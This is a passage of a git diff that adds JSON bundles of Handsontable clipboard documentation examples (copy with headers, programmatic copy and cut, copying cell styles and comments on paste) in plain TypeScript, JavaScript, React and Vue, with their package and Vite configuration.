b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example4.ts.json new file mode 100644 index 00000000..9dd358b3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Clipboard · Copy cell appearance on paste · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\ntype CopyRange = { startRow: number; startCol: number; endRow: number; endCol: number };\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\nlet copiedClassNames: string[][] = [];\n\nfunction collectClassNames(hot: Handsontable, coords: CopyRange[]): string[][] {\n const source = coords[0];\n const classNames: string[][] = [];\n\n if (!source) {\n return classNames;\n }\n\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowClassNames: string[] = [];\n\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowClassNames.push((hot.getCellMeta(row, col).className as string | undefined) ?? '');\n }\n\n classNames.push(rowClassNames);\n }\n\n return classNames;\n}\n\nfunction applyClassNames(hot: Handsontable, coords: CopyRange[]): void {\n const target = coords[0];\n\n if (!target) {\n return;\n }\n\n hot.batch(() => {\n copiedClassNames.forEach((rowClassNames, rowOffset) => {\n rowClassNames.forEach((className, colOffset) => {\n hot.setCellMeta(target.startRow + rowOffset, target.startCol + colOffset, 'className', className);\n });\n });\n });\n\n hot.render();\n}\n\nnew Handsontable(container, {\n data: [\n ['Wireless mouse', 142, 'In stock'],\n ['USB-C cable', 67, 'In stock'],\n ['Mechanical keyboard', 0, 'Backordered'],\n ['Laptop stand', 38, 'In stock'],\n ['HDMI adapter', 210, 'In stock'],\n ],\n colHeaders: ['Product', 'Stock', 'Status'],\n rowHeaders: true,\n cell: [\n { row: 0, col: 1, className: 'htRight' },\n { row: 0, col: 2, className: 'htCenter' },\n { row: 2, col: 1, className: 'htRight htDimmed' },\n { row: 2, col: 2, className: 'htCenter htDimmed' },\n ],\n afterCopy(_data, coords) {\n copiedClassNames = collectClassNames(this, coords as CopyRange[]);\n },\n afterCut(_data, coords) {\n copiedClassNames = collectClassNames(this, coords as CopyRange[]);\n },\n afterPaste(_data, coords) {\n applyClassNames(this, coords as CopyRange[]);\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/clipboard/javascript/example4.ts","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example4","exampleTitle":"Copy cell appearance on paste","docPermalink":"/basic-clipboard","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example5.js.json new file mode 100644 index 00000000..2374b87d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example5.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Clipboard · Copy comments on paste · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example5');\nlet copiedComments = [];\nfunction collectComments(hot, coords) {\n const source = coords[0];\n const comments = hot.getPlugin('comments');\n const copied = [];\n if (!source) {\n return copied;\n }\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowComments = [];\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowComments.push(comments.getCommentAtCell(row, col));\n }\n copied.push(rowComments);\n }\n return copied;\n}\nfunction applyComments(hot, coords) {\n const target = coords[0];\n const comments = hot.getPlugin('comments');\n if (!target) {\n return;\n }\n hot.batch(() => {\n copiedComments.forEach((rowComments, rowOffset) => {\n rowComments.forEach((comment, colOffset) => {\n const row = target.startRow + rowOffset;\n const col = target.startCol + colOffset;\n if (comment) {\n comments.setCommentAtCell(row, col, comment);\n }\n else {\n comments.removeCommentAtCell(row, col, false);\n }\n });\n });\n });\n hot.render();\n}\nnew Handsontable(container, {\n data: [\n ['Wireless mouse', 142, 'In stock'],\n ['USB-C cable', 67, 'In stock'],\n ['Mechanical keyboard', 0, 'Backordered'],\n ['Laptop stand', 38, 'In stock'],\n ['HDMI adapter', 210, 'In stock'],\n ],\n colHeaders: ['Product', 'Stock', 'Status'],\n rowHeaders: true,\n comments: true,\n cell: [\n { row: 0, col: 1, comment: { value: 'Counted during the July audit.' } },\n { row: 2, col: 1, comment: { value: 'Reorder request sent to Harbor Goods.' } },\n { row: 2, col: 2, comment: { value: 'Expected delivery is July 18.' } },\n ],\n afterCopy(_data, coords) {\n copiedComments = collectComments(this, coords);\n },\n afterCut(_data, coords) {\n copiedComments = collectComments(this, coords);\n },\n afterPaste(_data, coords) {\n applyComments(this, coords);\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/clipboard/javascript/example5.js","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example5","exampleTitle":"Copy comments on paste","docPermalink":"/basic-clipboard","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example5.ts.json new file mode 100644 index 00000000..e38bdb23 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__javascript__example5.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Clipboard · Copy comments on paste · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\ntype CopyRange = { startRow: number; startCol: number; endRow: number; endCol: number };\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5')!;\nlet copiedComments: (string | undefined)[][] = [];\n\nfunction collectComments(hot: Handsontable, coords: CopyRange[]): (string | undefined)[][] {\n const source = coords[0];\n const comments = hot.getPlugin('comments');\n const copied: (string | undefined)[][] = [];\n\n if (!source) {\n return copied;\n }\n\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowComments: (string | undefined)[] = [];\n\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowComments.push(comments.getCommentAtCell(row, col));\n }\n\n copied.push(rowComments);\n }\n\n return copied;\n}\n\nfunction applyComments(hot: Handsontable, coords: CopyRange[]): void {\n const target = coords[0];\n const comments = hot.getPlugin('comments');\n\n if (!target) {\n return;\n }\n\n hot.batch(() => {\n copiedComments.forEach((rowComments, rowOffset) => {\n rowComments.forEach((comment, colOffset) => {\n const row = target.startRow + rowOffset;\n const col = target.startCol + colOffset;\n\n if (comment) {\n comments.setCommentAtCell(row, col, comment);\n } else {\n comments.removeCommentAtCell(row, col, false);\n }\n });\n });\n });\n\n hot.render();\n}\n\nnew Handsontable(container, {\n data: [\n ['Wireless mouse', 142, 'In stock'],\n ['USB-C cable', 67, 'In stock'],\n ['Mechanical keyboard', 0, 'Backordered'],\n ['Laptop stand', 38, 'In stock'],\n ['HDMI adapter', 210, 'In stock'],\n ],\n colHeaders: ['Product', 'Stock', 'Status'],\n rowHeaders: true,\n comments: true,\n cell: [\n { row: 0, col: 1, comment: { value: 'Counted during the July audit.' } },\n { row: 2, col: 1, comment: { value: 'Reorder request sent to Harbor Goods.' } },\n { row: 2, col: 2, comment: { value: 'Expected delivery is July 18.' } },\n ],\n afterCopy(_data, coords) {\n copiedComments = collectComments(this, coords as CopyRange[]);\n },\n afterCut(_data, coords) {\n copiedComments = collectComments(this, coords as CopyRange[]);\n },\n afterPaste(_data, coords) {\n applyComments(this, coords as CopyRange[]);\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/clipboard/javascript/example5.ts","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example5","exampleTitle":"Copy comments on paste","docPermalink":"/basic-clipboard","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example1.tsx.json new file mode 100644 index 00000000..4508cf08 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Clipboard · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/clipboard/react/example1.tsx","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/basic-clipboard","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example2.tsx.json new file mode 100644 index 00000000..15db2b4f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Clipboard · Copy with headers · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/clipboard/react/example2.tsx","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example2","exampleTitle":"Copy with headers","docPermalink":"/basic-clipboard","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example3.tsx.json new file mode 100644 index 00000000..b4624ba6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Clipboard · Trigger copy & cut programmatically · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const copyBtnClickCallback = function () {\n document.execCommand('copy');\n };\n\n const cutBtnClickCallback = function () {\n document.execCommand('cut');\n };\n\n const copyBtnMousedownCallback = () => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.selectCell(1, 1);\n };\n\n const cutBtnMousedownCallback = () => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.selectCell(1, 1);\n };\n\n return (\n <>\n
    \n
    \n \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/clipboard/react/example3.tsx","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example3","exampleTitle":"Trigger copy & cut programmatically","docPermalink":"/basic-clipboard","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example4.tsx.json new file mode 100644 index 00000000..e77fc064 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Clipboard · Copy cell appearance on paste · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\ntype CopyRange = { startRow: number; startCol: number; endRow: number; endCol: number };\n\n// register Handsontable's modules\nregisterAllModules();\n\nfunction collectClassNames(hot: Handsontable, coords: CopyRange[]): string[][] {\n const source = coords[0];\n const classNames: string[][] = [];\n\n if (!source) {\n return classNames;\n }\n\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowClassNames: string[] = [];\n\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowClassNames.push((hot.getCellMeta(row, col).className as string | undefined) ?? '');\n }\n\n classNames.push(rowClassNames);\n }\n\n return classNames;\n}\n\nconst ExampleComponent = () => {\n const copiedClassNames = useRef([]);\n\n return (\n {\n copiedClassNames.current.forEach((rowClassNames, rowOffset) => {\n rowClassNames.forEach((className, colOffset) => {\n this.setCellMeta(target.startRow + rowOffset, target.startCol + colOffset, 'className', className);\n });\n });\n });\n\n this.render();\n }}\n height=\"auto\"\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/clipboard/react/example4.tsx","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example4","exampleTitle":"Copy cell appearance on paste","docPermalink":"/basic-clipboard","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example5.tsx.json new file mode 100644 index 00000000..412f1ca5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__react__example5.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Clipboard · Copy comments on paste · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example5\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\ntype CopyRange = { startRow: number; startCol: number; endRow: number; endCol: number };\n\n// register Handsontable's modules\nregisterAllModules();\n\nfunction collectComments(hot: Handsontable, coords: CopyRange[]): (string | undefined)[][] {\n const source = coords[0];\n const comments = hot.getPlugin('comments');\n const copied: (string | undefined)[][] = [];\n\n if (!source) {\n return copied;\n }\n\n for (let row = source.startRow; row <= source.endRow; row += 1) {\n const rowComments: (string | undefined)[] = [];\n\n for (let col = source.startCol; col <= source.endCol; col += 1) {\n rowComments.push(comments.getCommentAtCell(row, col));\n }\n\n copied.push(rowComments);\n }\n\n return copied;\n}\n\nconst ExampleComponent = () => {\n const copiedComments = useRef<(string | undefined)[][]>([]);\n\n return (\n {\n copiedComments.current.forEach((rowComments, rowOffset) => {\n rowComments.forEach((comment, colOffset) => {\n const row = target.startRow + rowOffset;\n const col = target.startCol + colOffset;\n\n if (comment) {\n comments.setCommentAtCell(row, col, comment);\n } else {\n comments.removeCommentAtCell(row, col, false);\n }\n });\n });\n });\n\n this.render();\n }}\n height=\"auto\"\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/clipboard/react/example5.tsx","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example5","exampleTitle":"Copy comments on paste","docPermalink":"/basic-clipboard","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example1.vue.json new file mode 100644 index 00000000..813aad75 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Clipboard · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/clipboard/vue/example1.vue","breadcrumb":["Cell Features","Clipboard"],"guide":"guides/cell-features/clipboard/clipboard.md","guideTitle":"Clipboard","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/basic-clipboard","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example2.vue.json new file mode 100644 index 00000000..4b9f9a09 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__clipboard__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Clipboard · Copy with headers · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
